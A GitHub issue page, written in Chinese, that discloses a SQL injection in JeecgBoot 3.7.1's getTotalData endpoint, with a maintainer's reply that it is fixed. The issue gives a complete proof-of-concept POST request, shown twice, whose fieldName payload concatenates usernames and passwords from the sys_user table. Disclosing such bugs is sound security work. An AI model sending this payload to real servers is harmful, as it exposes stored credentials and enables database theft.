We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
注入点:"fieldName":"concat(username,0x3a,password)",fieldName后面可以拼接任意查询语句以达到拿到整个数据库的数据(root权限)
Poc: POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/json Content-Length: 288
{"tableName":"sys_user","compName":"test","condition":{"filter":{}},"config":{"assistValue":[],"assistType":[],"name":[{"fieldName":"concat(username,0x3a,password)","fieldType":"string"},{"fieldName":"id","fieldType":"string"}],"value":[{"fieldName":"id","fieldType":"1"}],"type":[]}}
The text was updated successfully, but these errors were encountered:
sq
Sorry, something went wrong.
已修改,下版本更新
No branches or pull requests
版本号:jeecgboot 3.7.1
问题描述:
注入点:"fieldName":"concat(username,0x3a,password)",fieldName后面可以拼接任意查询语句以达到拿到整个数据库的数据(root权限)
Poc:
POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 288
{"tableName":"sys_user","compName":"test","condition":{"filter":{}},"config":{"assistValue":[],"assistType":[],"name":[{"fieldName":"concat(username,0x3a,password)","fieldType":"string"},{"fieldName":"id","fieldType":"string"}],"value":[{"fieldName":"id","fieldType":"1"}],"type":[]}}
错误截图:
友情提示:
The text was updated successfully, but these errors were encountered: